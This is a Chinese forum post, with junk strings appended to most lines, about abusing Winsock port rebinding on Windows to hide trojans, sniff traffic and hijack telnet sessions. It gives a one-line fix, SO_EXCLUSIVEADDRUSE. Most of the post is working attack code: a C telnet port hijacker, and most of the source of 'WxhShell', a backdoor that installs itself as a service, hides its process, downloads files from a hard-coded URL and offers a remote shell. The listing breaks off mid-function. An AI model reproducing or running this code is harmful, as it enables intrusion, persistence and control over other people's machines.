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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MyJ\/`8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nB &[R  
^?~WIS  
  saddr.sin_family = AF_INET; xnR;#Yc  
y37c&XYq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NKSK+ll2  
;UAi>//#   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qvx[F:#Tk  
P4VMGP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YcmLc)a7  
~~B`\!n7  
  这意味着什么?意味着可以进行如下的攻击: 1^HmM"DD  
4ZX6=-u^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R^ln-H;  
DH>>u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Zgc [F  
%$*WdK#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }3TTtd7  
rP7[{'%r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }#<mK3MBe  
nj (\+l5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C5F=J8pY  
)&") J}@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -Gyj]v5y`c  
.,9e~6}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n | M~C\*  
{tDH !sX  
  #include \Qgc7ev  
  #include ;k=&ZV  
  #include om1@;u8u  
  #include    %FhUjHm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WSKubn?7B  
  int main() @CUYl*.PD  
  { e|e"lP  
  WORD wVersionRequested; kR !O-@GJ]  
  DWORD ret; Wp |qv  
  WSADATA wsaData; J6C/`)+w  
  BOOL val; LFskNF0X  
  SOCKADDR_IN saddr; TS Ev^u)3  
  SOCKADDR_IN scaddr; j`o_Stbg  
  int err; fN!lXPgM  
  SOCKET s; ZYexW=@  
  SOCKET sc; .*k$abb  
  int caddsize; ~x-v%x6  
  HANDLE mt; I" hlLP  
  DWORD tid;   /)-OK7x  
  wVersionRequested = MAKEWORD( 2, 2 ); K-2oSS56  
  err = WSAStartup( wVersionRequested, &wsaData ); N fBH  
  if ( err != 0 ) { Sp]u5\  
  printf("error!WSAStartup failed!\n"); ^D5+ S`V  
  return -1; J P1XH k  
  } ?heg_ ~P  
  saddr.sin_family = AF_INET; !XqU'xxC  
   buu /Nz$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,vh $G 7D  
_Oc(K "v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _wp_y-"  
  saddr.sin_port = htons(23); EZee kxs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c8mcJAc  
  { ]X +3"  
  printf("error!socket failed!\n"); &)L2a)  
  return -1; b7>^w<ki  
  } 07-S%L7Z  
  val = TRUE; <^VZ4$j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HBYqqEO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "HFS5Bj'  
  { +M%i3A  
  printf("error!setsockopt failed!\n"); yEt:g0Z \  
  return -1; ,-Fhb~u  
  } S1^u/$*6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #=R)s0j"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <Ft6d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^GdU$%aa  
}NPF]P;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y'4H8M2?  
  { Iw~3y{\  
  ret=GetLastError(); Y?hC/ 6$7  
  printf("error!bind failed!\n"); 8Dpf{9Y-E  
  return -1; ABEC{3fWpu  
  } W?{:HV  
  listen(s,2); }AG$E}~/  
  while(1) ZjY_AbD  
  { =flgKRKk.r  
  caddsize = sizeof(scaddr); ~,yHE3B\G  
  //接受连接请求 B+|E|8"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zmy94Y5PE  
  if(sc!=INVALID_SOCKET) M*| y&XBe  
  { J=6 7As  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /B"h #v-o  
  if(mt==NULL) [@[!esC  
  { aR.1&3fE  
  printf("Thread Creat Failed!\n"); 9"R]"v3BA  
  break; O!='U!X@P  
  } xbrxh-gV  
  } Ay<'Z6`  
  CloseHandle(mt); m` cw:  
  } dz.]5R  
  closesocket(s); iC&=-$vu  
  WSACleanup(); HTI1eLZ2  
  return 0; c+AZ(6O ?\  
  }   1(M0C[P  
  DWORD WINAPI ClientThread(LPVOID lpParam) )'\Jp 7*3  
  { L7mN&Xr  
  SOCKET ss = (SOCKET)lpParam; \Q{@AC<?i  
  SOCKET sc; qEKTSet?  
  unsigned char buf[4096]; HyXw^ +tsj  
  SOCKADDR_IN saddr; "!XeK|Wi  
  long num; 0Mt2Rg}  
  DWORD val; B{!)GZ(}  
  DWORD ret; NAhV8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ed*Cx~rT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   joDnjz=  
  saddr.sin_family = AF_INET; 6cSMKbgZJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zfL$z,zgf  
  saddr.sin_port = htons(23); (,Yb]/O*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ws tI8">  
  { I#@iA!  
  printf("error!socket failed!\n"); i0,{*LD%^  
  return -1; noe1*2*TE  
  } 0"o<( 1  
  val = 100; H ~1laV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >b,o yM  
  { dN;kYWRK  
  ret = GetLastError(); NUb^!E"  
  return -1; tx&>Eo  
  } B{a:cz>0<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {f#{NA5  
  { aGNVqS%y  
  ret = GetLastError(); ( gO?-0  
  return -1; tC\x9&:  
  } zB\g'F/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8-cG[/|0  
  { sl|s#+Z  
  printf("error!socket connect failed!\n"); _3tHzDSG#  
  closesocket(sc);  m3 ;  
  closesocket(ss); wq_c^Ioy  
  return -1; j>eL&.d  
  } ~j 3B'  
  while(1) Yqmx]7Y4  
  { #NNj#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $/],QD_;"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !798%T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p+;Re2Uyg  
  num = recv(ss,buf,4096,0); L@S"c (  
  if(num>0) %cO;{og M  
  send(sc,buf,num,0); m(nlu  
  else if(num==0) x@2rfs  
  break; vX)6N#D!  
  num = recv(sc,buf,4096,0); t*<vc]D  
  if(num>0) xC`Hm?kM  
  send(ss,buf,num,0); jM1_+Lm1  
  else if(num==0) nSsVONHfa  
  break; PTA;a 0A  
  } f1=BBQY >  
  closesocket(ss); xj{X#[q):  
  closesocket(sc); "Na9Xea  
  return 0 ; O 4N_lr~  
  } J><O 51  
L;nRI.  
52m^jT Sx  
========================================================== ?Li^XONz  
a%tm[Re  
下边附上一个代码,,WXhSHELL `NXyzT`:K  
/`\-.S9  
========================================================== vPmP<c)cb  
h@Ea$1'e,  
#include "stdafx.h" dVVeH\o  
b-]E -$Uz  
#include <stdio.h> oHI~-{m3)  
#include <string.h> XZcsx  
#include <windows.h> u A C:&  
#include <winsock2.h> h\'GL(?DBI  
#include <winsvc.h> Yp 6;Y7^  
#include <urlmon.h> qt/syF&s  
pPo?5s  
#pragma comment (lib, "Ws2_32.lib") 'e3y|  
#pragma comment (lib, "urlmon.lib") u>& \@?(  
8)5 n  
#define MAX_USER   100 // 最大客户端连接数 l4U& CA y  
#define BUF_SOCK   200 // sock buffer $2]1 3j  
#define KEY_BUFF   255 // 输入 buffer MGc=TQ.  
@EfCNOy  
#define REBOOT     0   // 重启 #H O\I7m  
#define SHUTDOWN   1   // 关机 z(.$>O&6H  
L)8+/+  
#define DEF_PORT   5000 // 监听端口 a[";K,  
huvg'Y t  
#define REG_LEN     16   // 注册表键长度 -/x +M-X#  
#define SVC_LEN     80   // NT服务名长度 H4l:L(!D  
bw%1*;n)  
// 从dll定义API T 6QnCmB4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )@eBe^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |r}%AN6+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T~"tex]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oCy52Bm.!  
HZ 8 j[kO  
// wxhshell配置信息 UgJlXB|a%2  
struct WSCFG { ~(aq3ngo.  
  int ws_port;         // 监听端口 ejgg.G ^  
  char ws_passstr[REG_LEN]; // 口令 Z;%  
  int ws_autoins;       // 安装标记, 1=yes 0=no IL.Jx:(0  
  char ws_regname[REG_LEN]; // 注册表键名 m6 hA,li  
  char ws_svcname[REG_LEN]; // 服务名 >-X& /i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?jqZeO#W7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7S] h:q%%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nyQ FS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WcH^bAY6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yp@mxI@1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $k'f)E  
3Xd+>'H  
}; &=HM}h  
#cdLg-v  
// default Wxhshell configuration d.2b7q09  
struct WSCFG wscfg={DEF_PORT, ) V@qH]  
    "xuhuanlingzhe", }S#.Pw%  
    1, `}zv17wp  
    "Wxhshell", Vaha--QB  
    "Wxhshell", <ya'L&  
            "WxhShell Service", /@3+zpaw X  
    "Wrsky Windows CmdShell Service", #H!~:Xu   
    "Please Input Your Password: ", J3:P/n&  
  1, tH_# q"@)  
  "http://www.wrsky.com/wxhshell.exe", IE_@:]K}Ja  
  "Wxhshell.exe" `b\4h/~  
    }; GK&yP%Z3  
So`xd *C!  
// 消息定义模块 2CmeO&(Qf*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {_q2kk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 46XB6z01  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N23s{S t  
char *msg_ws_ext="\n\rExit."; n|,Es!8:o  
char *msg_ws_end="\n\rQuit."; XX6&% 7(  
char *msg_ws_boot="\n\rReboot..."; 7PQedZ<\  
char *msg_ws_poff="\n\rShutdown..."; @=;6:akz`  
char *msg_ws_down="\n\rSave to "; yLDHJ}R  
,7j`5iq[m  
char *msg_ws_err="\n\rErr!";  fx;5j;  
char *msg_ws_ok="\n\rOK!"; a@8knJ|  
..~{cU4Tt  
char ExeFile[MAX_PATH]; z?  {#/  
int nUser = 0; qWanr7n]@  
HANDLE handles[MAX_USER]; ?5(L.XFm  
int OsIsNt; 9txZ6/  
Ys<wWfW  
SERVICE_STATUS       serviceStatus; QlXy9-oJ"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rp@u.C <  
I[4E?  
// 函数声明 y:,{U*49  
int Install(void);  R(zsn;  
int Uninstall(void); &1Y+ q]  
int DownloadFile(char *sURL, SOCKET wsh); \]9;c6(  
int Boot(int flag); #5H@/o8!s=  
void HideProc(void); KDXo9FzF  
int GetOsVer(void); Iewq?s\Fo  
int Wxhshell(SOCKET wsl); wZC'BLD  
void TalkWithClient(void *cs); ~f@<]  
int CmdShell(SOCKET sock); &>s(f-\8  
int StartFromService(void); AoR`/tr,  
int StartWxhshell(LPSTR lpCmdLine); &a|oJ'clz  
TM"-X\e~{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^-ACtA)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iF%q 6R  
[ =9R5.)c  
// 数据结构和表定义 .Z^g 7 *s  
SERVICE_TABLE_ENTRY DispatchTable[] = B}MJ?uvA  
{ %]R#}amW  
{wscfg.ws_svcname, NTServiceMain}, `Ch6"= t  
{NULL, NULL} H!Od.$ZIX  
}; 8odVdivh  
HhpP}9P;  
// 自我安装 @i`gR%  
int Install(void) ~Fx[YPO,  
{ <pE G8_{}  
  char svExeFile[MAX_PATH]; o?b%L  
  HKEY key; 5sE^MS1  
  strcpy(svExeFile,ExeFile); {c J6Lq&  
h)<R#xw  
// 如果是win9x系统,修改注册表设为自启动 eT|_0kx1  
if(!OsIsNt) { MO D4O4z&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3jI.!xD`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S :}s|![p  
  RegCloseKey(key); V\G>e{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A]J^{h0 k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hD,- !R  
  RegCloseKey(key); AzV5Re8M  
  return 0; va<+)b\  
    } $` oA$E3  
  } ?UxY4m%R;  
} ]u,~/Gy  
else { /Mk)H d  
YL. z|{\e  
// 如果是NT以上系统,安装为系统服务 y H'\<bT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~"wD4Ue  
if (schSCManager!=0) nY8UJy}<oL  
{ J~}UG]j n  
  SC_HANDLE schService = CreateService |4c==7.  
  ( e56#Qb@$\  
  schSCManager, ((5zwD  
  wscfg.ws_svcname, XMdc n,  
  wscfg.ws_svcdisp, wiGwN  
  SERVICE_ALL_ACCESS, MvW>ktkU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5^Y/RS i  
  SERVICE_AUTO_START, j~8+,:  
  SERVICE_ERROR_NORMAL, xC{NIOYn'  
  svExeFile, ~3%3{a a  
  NULL, U\ L"\N7  
  NULL, HUghl2L.<  
  NULL, q)~qd$yMS  
  NULL, U<t-LF3  
  NULL "4`%NA  
  ); O7\s1 V;  
  if (schService!=0) 4W?<hv+k7*  
  {  n=&c5!  
  CloseServiceHandle(schService); } -vBRY  
  CloseServiceHandle(schSCManager); y(dS1.5F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z~uKT n  
  strcat(svExeFile,wscfg.ws_svcname); br;G5^j3?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]M2<I#hF.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ./ :86@O  
  RegCloseKey(key); KRtu@;?  
  return 0; 93J)9T  
    } }*'ha=`J  
  } bxN;"{>Xz  
  CloseServiceHandle(schSCManager); F[u%t34'  
} p4t)Z#0  
} sfV.X:ev  
=l(JJ  
return 1; m@@QT<  
} 64lEB>VNm  
eTc`FXw`  
// 自我卸载 v2{O67j} o  
int Uninstall(void) k~R[5W|'  
{ vo$66A  
  HKEY key; /4?`F} 7)  
/RM-+D:Y  
if(!OsIsNt) { W,~1KUTc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s2v*  
  RegDeleteValue(key,wscfg.ws_regname); k~#|8eLv  
  RegCloseKey(key); Q8x{V_Pot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a%!XLyq  
  RegDeleteValue(key,wscfg.ws_regname); ^{s0d+@{  
  RegCloseKey(key); `k&K"jA7$  
  return 0; l:eNu}{&  
  } C6w{"[Wv=X  
} @"8QG^q8de  
} DKl7|zG4  
else { uE j6A  
J7GsNFL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fYy.>m+P1  
if (schSCManager!=0) 6\;1<Sw*  
{ ra>`J_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )0mDN.  
  if (schService!=0) CiI: uU  
  { _w;+Jh  
  if(DeleteService(schService)!=0) { :Y>] 6  
  CloseServiceHandle(schService); L_mqC(vn  
  CloseServiceHandle(schSCManager); G 7]wg>*  
  return 0; Bx- ,"Z \  
  } zfb _ )  
  CloseServiceHandle(schService); c0&'rxi( B  
  } 6t:c]G'J  
  CloseServiceHandle(schSCManager); 'I]"=O,  
} ]5f M?:<l  
} ts<dUO  
j\f$r,4  
return 1; )|R9mW=k9P  
}  ~C/KA6H  
od1omYsR  
// 从指定url下载文件 1`lFF_stkP  
int DownloadFile(char *sURL, SOCKET wsh) ~,2hP ~  
{ V^I /nuy  
  HRESULT hr; q}$=bR1+  
char seps[]= "/"; 9D{).f0  
char *token; #@^w>D6W  
char *file; j7#GqVS'  
char myURL[MAX_PATH]; i@5%d!J  
char myFILE[MAX_PATH]; =jc8=h[F<  
V1)P=?%(US  
strcpy(myURL,sURL); lmKq xs4  
  token=strtok(myURL,seps); \!Zh="hN  
  while(token!=NULL) Pki4wDCTW  
  { "GI&S%F  
    file=token; Ok~{@\  
  token=strtok(NULL,seps); `?^w  
  } -!,]Y10  
jHlOP,kc  
GetCurrentDirectory(MAX_PATH,myFILE); 7/_ VE  
strcat(myFILE, "\\"); qYZ7Zt;  
strcat(myFILE, file); Q5nyD/k4c  
  send(wsh,myFILE,strlen(myFILE),0); 3D{4vMm X  
send(wsh,"...",3,0); / 7XdV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~e77w\Q0  
  if(hr==S_OK) VhFRh,J(T  
return 0; =veOVv[Q&/  
else no NF;zT  
return 1; xg,]M/J  
]H#Rm#q  
} gkML .u  
t"/"Ge#a  
// 系统电源模块 ;K\N  
int Boot(int flag) M |?p3%  
{ ?w37vsN  
  HANDLE hToken; '$h @  
  TOKEN_PRIVILEGES tkp; S"TMsi  
 OI_/7@L  
  if(OsIsNt) { U@J/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BX(d"z b<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * \o$-6<  
    tkp.PrivilegeCount = 1; N~; khS]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hLbT\J`I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  zc/%1  
if(flag==REBOOT) { ]~00=nXFM/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cxk$"_  
  return 0; _Sgk^i3v  
} NQ!N"C3u  
else { j(6$7+2qN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *76viqY;dE  
  return 0; xcZ%,7  
} \W`}L  
  } 2Cd --W+=  
  else { 6"Lsui??  
if(flag==REBOOT) { ~26s7S}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %rDmW?T  
  return 0; '+!S|U,{  
} O/Mz?$8J  
else { J4[x,(iq(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) / }XsuH  
  return 0; 1%hM8:)i_  
} VUy)4*  
} YKe0:cWc  
hGA!1a4 c  
return 1; < [S1_2b.t  
} }.MoDR3\  
oBj>9I;  
// win9x进程隐藏模块 NB+$ym  
void HideProc(void) 5G'&9{oB  
{ 9U7Mu;4  
YR|(;B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =WmBpUh  
  if ( hKernel != NULL ) zh^jWu  
  { #'4<> G]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pcuMGo-#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yF/< :  
    FreeLibrary(hKernel); -.b Io  
  } HTUYvU*-  
W7*_T]  
return; V+=*2?1  
} 53`9^|:  
9uw,-0*5  
// 获取操作系统版本 h nsa)@  
int GetOsVer(void) @0vC v  
{ F9k I'<Q  
  OSVERSIONINFO winfo; iM/*&O}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tB,.  
  GetVersionEx(&winfo); g]Xzio&w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 68p\WheCal  
  return 1;  Qh|-a@  
  else yZ;k@t_WRD  
  return 0; `rz`3:ZH  
} 1o|0x\q  
6VH90KAT  
// 客户端句柄模块 f/0v' Jt  
int Wxhshell(SOCKET wsl) Siz!/O!'  
{ eg$5z Z  
  SOCKET wsh; {{.sEi*  
  struct sockaddr_in client; Y( 1L>4  
  DWORD myID; V#gF*]q  
6bbZ<E5At  
  while(nUser<MAX_USER) ,5eH2W  
{ ;&+[W(7Sy  
  int nSize=sizeof(client); Sv~YFS :oy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ate49W  
  if(wsh==INVALID_SOCKET) return 1; *R_'$+  
>9o,S3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z"6ZDC6  
if(handles[nUser]==0) (#j2P0B  
  closesocket(wsh); Gut J_2f^9  
else {?EEIfg  
  nUser++; VY+(,\ )U  
  } \~gA+ o}Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NJ|NJ p&0  
;Cr_NP[8|j  
  return 0; cg(QjH"  
} ( }]37  
#*yM2H"7,;  
// 关闭 socket Kk!6B  
void CloseIt(SOCKET wsh) /S7+B ]  
{ %_B:EMPd  
closesocket(wsh); , @%C8Z  
nUser--; Bs+c2R  
ExitThread(0); u<l# xud  
} WF ?/GN  
T!u'V'Ei2  
// 客户端请求句柄 zW"~YaO%C  
void TalkWithClient(void *cs) @9OeC O  
{ G 2%  
[;(]Jy  
  SOCKET wsh=(SOCKET)cs; tA`mD>[  
  char pwd[SVC_LEN]; *.kj]BoO  
  char cmd[KEY_BUFF]; >DDQ'W!  
char chr[1]; O" % Hprx  
int i,j; E$]a?uA:  
m >]>$=%  
  while (nUser < MAX_USER) { eaV3) uP  
cT/3yf  
if(wscfg.ws_passstr) { gB(9vhj $  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eyr5jXt%;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {E!$ xY8  
  //ZeroMemory(pwd,KEY_BUFF); _:wZmZU}  
      i=0; p>k]C:h  
  while(i<SVC_LEN) { lZ}izl  
LQh^; ]^(  
  // 设置超时 VDB$"T9#  
  fd_set FdRead; a`7%A H)  
  struct timeval TimeOut; OOCQsoN  
  FD_ZERO(&FdRead); E^b pckP  
  FD_SET(wsh,&FdRead); Dz[566UD  
  TimeOut.tv_sec=8; yB-.sGu  
  TimeOut.tv_usec=0; n=f`AmF;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iKg75%;t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "#*Nnt  
X3P&"}a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Px'R`1^  
  pwd=chr[0]; !+m@AQ:,  
  if(chr[0]==0xd || chr[0]==0xa) { ~k9O5S{  
  pwd=0; V-[2jC{  
  break; ^ [ET&"  
  } ;LHDh_.pX  
  i++; pU M&"V  
    } VVs{l\$=ZV  
HDyQzCG,  
  // 如果是非法用户,关闭 socket 48wDf_<f5=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YV*b~6{d  
} j._G7z/LJ  
;5<P|:^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0r1g$mKb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Bj.hx*  
FI\IY R  
while(1) { BRe{1i 6  
SEYGy+#K  
  ZeroMemory(cmd,KEY_BUFF); hO#HvW  
LRWOBD  
      // 自动支持客户端 telnet标准   5!<o-{J[(=  
  j=0; S2ark,sp6  
  while(j<KEY_BUFF) { Zotz?j VVr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uii7b 7[w  
  cmd[j]=chr[0]; YZ0en1ly  
  if(chr[0]==0xa || chr[0]==0xd) { *yrnK3  
  cmd[j]=0; y $:yz;  
  break; ?RDO] I>  
  } Ru:n~77{  
  j++; KL "Y!PN:  
    } 1:_=g#WH  
USprsaj  
  // 下载文件 FS8S68  
  if(strstr(cmd,"http://")) { 6{Ks`Af  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LaDY`u0G%  
  if(DownloadFile(cmd,wsh)) 9J?W '8s5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PCtkjd  
  else w5,6$#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RYt6=R+f  
  } J=):+F=  
  else { 5lO^;.cS,  
V7P6zAJy  
    switch(cmd[0]) { oB4#J*   
  .vK.XFZ8R  
  // 帮助 qh$X^%g  
  case '?': {  *. 8JP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yOc|*O=]U  
    break; Fqo&3+J4  
  } J2'K?|,m  
  // 安装 QskUdzQ=  
  case 'i': { NS Np  
    if(Install()) b7!UZu]IEv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0rcjorWI  
    else ^1.7Juvb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ Yl<S(/4  
    break; ?s%v 3T  
    } s{ =5-:  
  // 卸载 +lKrj\Xj  
  case 'r': { +5-]iKh  
    if(Uninstall()) XoJgs$3B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8^y=H=  
    else vb %T7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;,dkJ7M  
    break; iOll WkF  
    } Mm.Ql  
  // 显示 wxhshell 所在路径 %]#VdS|N  
  case 'p': { AeaPK  
    char svExeFile[MAX_PATH]; kQ~ %=pn  
    strcpy(svExeFile,"\n\r");  |# V(p^  
      strcat(svExeFile,ExeFile); ge$LIsE8  
        send(wsh,svExeFile,strlen(svExeFile),0); (`pNXQ0n  
    break; Q<yAT(w  
    } *2=W5LaK.  
  // 重启 ) \ 4 |  
  case 'b': { jXWNHIl)@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pisB,wP$2  
    if(Boot(REBOOT)) 7 W{~f?Sh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #d% vT!Bz~  
    else { g ?V&mu  
    closesocket(wsh); n8$=f'Hgb  
    ExitThread(0); UW/N MjK  
    } k-Fdj5/  
    break; gfm;xT/y  
    } [fxuUmU  
  // 关机 q3)wr%!k5D  
  case 'd': { ]H+{eJB7O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jN6b*-2  
    if(Boot(SHUTDOWN)) y AOg\+  
